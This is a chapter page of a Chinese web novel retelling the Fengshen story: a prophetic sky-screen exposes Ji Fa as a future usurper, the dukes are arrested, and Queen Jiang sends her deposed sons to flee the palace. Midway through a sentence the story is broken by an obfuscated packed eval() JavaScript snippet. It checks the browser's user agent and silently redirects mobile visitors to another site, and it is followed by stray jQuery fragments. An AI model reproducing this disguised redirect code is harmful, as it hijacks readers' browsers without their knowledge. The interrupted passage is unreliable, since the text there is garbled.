默认冷灰
24号文字
方正启体

5. 本宫去宰了他

作者:儒墨刀刻本书字数:K更新时间:
    大商诸侯圈有点人脉的都知道,冀州侯苏护不仅儿女双全,这对儿女还十分的出色。


    苏护之子苏全忠,武艺超绝、勇猛过人,就是与勇冠三军,号称力敌万夫的东伯侯世子姜文焕作比,也不过差了二三回合。


    苏护之女苏妲己,秀外慧中,姿容出众胜过花中芙蓉、天上明月,“北域第一美人”的名头在她这里都是委屈了她。


    北域苦寒,自古就是骁将美人的盛产地,将才、美人,数不胜数。苏护的一双儿女依旧是佼佼风骚,无人可及。


    冀州侯世子苏全忠方才成年时就用作联姻,做了婚配。但是苏护没有一样地对待女儿。苏妲己如今已近三十的华龄,苏护依旧没有动过将这个女儿嫁出去的念头。


    一般人不能理解。浸淫权贵的各家诸侯的长辈心里却十分明白苏护的苦处。


    这么漂亮的千金大小姐,嫁进寻常一般的门户,不仅是一种双亲不能忍受的埋没,更是保不住会给她带来许多的磨难。


    若是将苏妲己往高处嫁,只怕会给她带来更多的磨难。


    冀州又不穷苦,与其做赌把千金娇儿养大的女儿嫁出去,不如养在家中,落个平安。


    道理是这么个道理,但是能如苏护这般做到的,贵族圈里找不到第二个。


    苏护的儿子苏全忠就很不理解自己父亲强留妹妹,不肯把妹妹嫁出去的作为。


    苏全忠年轻气盛,少不得有一点自己的野心。他自己已经十分厉害,自己的妹妹抛开别的不谈,单就一张脸就能叫世上万千花枝黯然失色。


    他的妹妹闭月羞花艳冠天下,怎么都得配一个举世无双的才俊吧?


    这样的才俊,冀州没有,整个北域都没有。哪怕是曹州侯崇黑虎的嫡长子崇应鸾,苏全忠也由衷地觉得他远远配不上自己的妹妹。


    苏全忠以前觉得,举世也就王宫里的储君或者东鲁的世子配得上他的妹妹。


    可惜,太子年幼,东伯侯世子又是早早就娶了世子夫人,孩子都能骑马作战了。


    苏全忠每每想起妹妹的婚事,就很郁闷,就很埋怨父亲苏护在这件事上不尽心,竟然叫东伯侯世子这条肥鱼白白溜掉了。


    若是能得东伯侯助力,苏氏一举越过声名狼藉的崇氏,成为北域领袖,未尝不可能。


    有着这样野心的苏全忠,一眼认出天幕里被称作“大王”的男子的身份。苏全忠瞬息之间就消化了天幕带来的信息,下一刻他就果断地安排了车马,载上美丽的妹妹,在冀州侯反应过来之前疾驰出了冀州城门,向西岐的方向飞奔而去。


    等到苏护得到消息的时候,关道上早就销了苏全忠疾出的烟尘。


    苏护那是一个捂住胸腔,差点背过气去。


    他的女儿是何等的傻乎乎,竟然真信了她兄长的话,将她送去西岐,是为她寻天下第一好的夫君。


    苏护清楚得很,苏全忠就是冲着“新朝国舅”的权势去的,这分明就是“卖妹求荣”啊!


    儿子苏全忠更是自作聪明得叫苏护忍不住垂下泪来。所谓将来事,已然曝光在天下人面前,又哪里还能是“将来事”呢?


    西岐的实力是不弱,但是根本不能匹敌整个天下,更枉论取商而代之。


    但凡让大王了解到天幕里的“大王”是姬昌的儿子,西岐别说创立新朝,怕是要从上到下全域黥面,举地囚往朝歌成为京畿农地上的奴隶。


    好在,苏护不久之后就收到了消息,西伯侯竟然壁虎断尾,将次子赶出了西岐。以及,祖宗保佑,他的一双儿女紧赶慢赶,都没有赶上趟,没能跳进姬发这个“火坑”。


    何其幸哉!苏护得到确切的消息后,忍不住捏住袖口抹了抹额角上发的虚汗。


    苏护是不怕意外,就怕万一。趁着一双儿女还没有找到西岐二公子私定终身,此次苏护借着跟随北伯侯崇侯虎进京朝拜的机会,干脆捅破了天,一举将西、南两大伯侯一起状告到了大王面前。


    他们苏氏也不是不能迁居西岐与南都。


    高端的玩家,须懂得审时顺势,乘风而起。


    苏护这一杆子可谓捅进了纣王的心口上,然后将他的肝脾肺肾一起串成了串。


    特么的竟然不是方国部落井底观天、妄自尊大,而是他们大商马上要“亡了”。


    就在不久的将来。


    今年姬发二十有二,天幕里的“姬发”四十出头。


    满打满算,大商还有二十来个年头!


    孤王岂非只能再活二十年?


    大王本就十分火爆的脾气宛如九天雷霆触怒而发。大王当即就发了旨意,命令武成王黄飞虎即刻捉拿西伯侯姬昌、南伯侯鄂崇禹进宫受死!


    东伯侯姜桓楚、北伯侯崇侯虎没能幸免于难。因为入住皇华驿馆后时常同另外两位同席而乐,这两位一样被列入了重点怀疑对象。首相商容、亚相比干方才得到消息,立刻就认定了这两老东西绝非好人,只怕都早早认出了天幕里的“大王”就是姬昌的儿子。


    这两人既然把人认了出来,却不肯告发到御前,已经能够说明很多了。


    哪怕姜桓楚是大商王后的亲爹,也不能让他摆脱这重怀疑。


    没看天幕里爆出来,逆贼姬发娶了他们大商的王女为后吗?


    此前他们一直以为,这个“恋爱脑”的小可爱王女是杨贵妃的女儿。


    现在看来,这位王女很有可能就是姜王后诞下的嫡公主啊!


    这不,武成王刚刚带着三百兵甲出了元戎府,就有两位相爷发来的令函,叫武成王一并拘了东伯侯姜桓楚、北伯侯崇侯虎。


    对此,东伯侯姜桓楚心知肚明,并清楚自己实在不算冤枉。


    崇侯虎和姜桓楚不同,他冤得很。他向来讨厌西伯侯姬昌一直在人前摆着仁慈圣德的模样。对这同僚他都是懒得理会,何况去了解、辨认姬昌那九十九……哦,听说姬昌这次进京的路上又捡了一个干儿子,这老头儿现在有一百个儿子了。


    神经病!他连自己家里那十几个儿子的脸都分辨不明白,还能去仔细辨别姬昌的一百个儿子长得啥模样?


    他就从来没有认出天幕里的锦袍“大王”。


    崇侯虎一路上是哭喊着冤枉被送进宫门的,那叫一个情真意切,见者动情,听者流泪。谁都能听出来,北伯侯是真的被冤枉的。


    直到进了金銮殿,跪在大王面前,细细听了统御下的冀州侯讲述了原委,崇侯虎才算明白自己被姬昌、鄂崇禹这两个老东西牵连成了什么模样。


    他们北域今年可是涨了三成的税收啊!


    结果天幕里那逆贼是你姬昌的儿子?


    你们西域凭什么只涨一成税收?


    你南域凭什么一成税都没涨?


    这天下有这样的冤情吗?


    想想白涨的三成税收,崇侯虎止不住呼吸困难,痛觉损失过亿黄金。


    崇侯虎一个猛虎扑阶扑到大王脚尖下边的台阶上,就是一顿垂头顿足、以头抢地的呼告冤枉:“大王,老臣冤枉啊。这一年里,闻太师一直居在崇城平叛逆贼,老臣如何有本事与他们西岐勾结,做叛逆的谋算啊!”


    崇侯虎这一声喊冤,完全喊到了点子上。能当伯侯的,谁又能是蠢物?


    闻太师是三朝元老,纣王是这位老爷看着长大的。纣王对这位太师向来是又尊又敬。首相商容、亚相比干绑在一块儿也抵不上半个太师在大王心中的地位。


    纣王十分信服闻太师,的确不信崇侯虎能在闻太师的眼皮子底下犯事。


    纣王当即微笑着,放过了崇侯虎。


    纣王将崇侯虎从脚底下叫起身。不等崇侯虎好一通感恩戴德的马屁,纣王已经怒意重新上脸。大王一双蕴含滔天怒火的眸子,直直射向没有被赦免跪在地上的姬昌三人。


    纣王眼中的冷光如同冬风冻瑟下的寒槊射向姬昌。足足五息的时间,纣王的目光才从始终低首伏在地上的姬昌头顶转走,移向自己的亲亲岳父姜桓楚低眉顺眼上。


    姜桓楚没有像姬昌那般扑伏在地上,祈求商王的怜惜和爱悯。他很确定朝歌这边没有他向西岐


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278702|198318||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    求亲的证据。没有证据,他就是清白的,他就是姜王后的生父,大商的国丈,储君的外公!


    不论是纣王还是商容这些大贵族,为了保护太子殷郊,也要保住东鲁,为储君保存实力。


    常理是这样的。


    但是王族殷氏是时常不按常理做事的,不然也不能统御天下六百年之久。


    姜桓楚不知道,就在天幕上男子的身份曝光后,殷氏族老就碰了面,讨论出或纣王或纣王的继承人将断送大商江山的结果。


    纣王自然不肯,更不能承认自己是亡国之君。


    所以“亡国”的黑锅,只能是纣王的继承人,也就是姜桓楚的外孙,太子殷郊来背。


    姜桓楚还在金銮殿端着国丈的架势,他的外孙已经被夺去了储君的身份。


    纣王实在不乐意背上“亡国”的名头。他一不做二不休,声色俱厉地指责姜王后无能教导储君,丝毫不顾忌夫妻之情。纣王不仅剥夺了殷郊太子的身份,亦没有顺着殷氏族老的建议将太子之位交给二王子殷洪。这是要硬生生地将“亡国”的名头栽实在大王子殷郊头上,为纣王自己排除罪名。


    姜王后什么时候受过这样的羞辱?哪个王后生了两个嫡子,却没有一个是太子的?


    姜王后当即羞愤地关闭了宫殿的大门。姜王后转个身当机立断把两个儿子召到身前,要他们赶紧逃命去。


    “如今大王为了他的名声,已经十分忌惮我们母子。大王心意如此,朝歌的贵族都将我们母子等同视作亡国罪人,万千尊位决然不会落到你们手上。两位王子久留王宫别无用处,只会碍了他人眼,日后怕是会做了他人的筏子。”


    “与其坐以待毙,不若出宫去伺机再起。”


    “东鲁有句话,叫做‘天高任鸟飞,海阔凭鱼跃’。你们是王族贵胄,这身份于你们在宫中已是祸害。出了宫去,却没人敢怠慢、为难你们。”


    两位王子正为陡然曝光的真相、族老做出的决定慌神不已。这会儿听到姜王后竟然要安排他们出宫,双子都是十分的震惊和难以置信。


    殷郊、殷洪年纪轻轻,如何受得住这样的冲击?少年王子第一反应都是不肯顺了姜王后的心意。


    姜王后当即指着两位王子,骂了起来:“你们如今都不能再做储君,便只是寻常王子。你们这样的岁数就是出外闯荡,建功立业也是应该。一个两个的如何能贪图富贵,耍赖在王宫里不肯出去?”


    “蟾虫也没得你们这样的脸皮,夜夜守在月宫里,碍人眼的!”


    “看来族老没有看错你们。你们当真是担不起大商的未来,坐不得那个位置。大王骂得好,本宫确实没有教导储君的本事!”


    殷洪年幼,从来没有被姜王后这样辱骂过。二王子“哇”一声,委屈地嚎啕出来。


    殷郊一样愤怒、委屈,但他忽然瞧见了姜王后眼底早已经殷红的一片。立即一个激灵叫殷郊明白,母后这样叱骂他们,分明是在激他们两个。


    殷郊心中再大的愤怒与委屈,都在姜王后一双眼中的沁红里消弭一空。大王子不禁哽咽,十分不舍地担忧自己的母亲道:“知晓我与王弟私逃了,父王必然十分震怒。母后独自留下,万般怒火倾涛而下,母后如何保全自身?”


    姜王后微微摇头安抚长子。她向这个儿子坦言:“你们出宫去,母后自有法子保全自己,静等你们归来。你们若留下,母后纵是有万般妙法也是不能保全自己的。”


    殷郊不能完全了解姜王后这番话语中的含义,但是他听明白了他们兄弟两个继续留在朝歌王宫,会成为姜王后的拖累。


    殷郊偷偷抹了把离别的眼泪,终于下了决心,按住殷洪向姜王后道别。殷郊心中打着算盘暗下决心道:“今日暂且离开这是非地。以我两个兄弟的本事,难道真的不能成就一番事业?他日必叫那帮吠老痛悔今日的决定!别的也不说,且先去西岐一趟,宰了西伯侯的儿子。到那时,谁还会信天上那邪物?”


    “邪物丢了信誉,父王定然解了心结,与我母子三人重修旧好。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)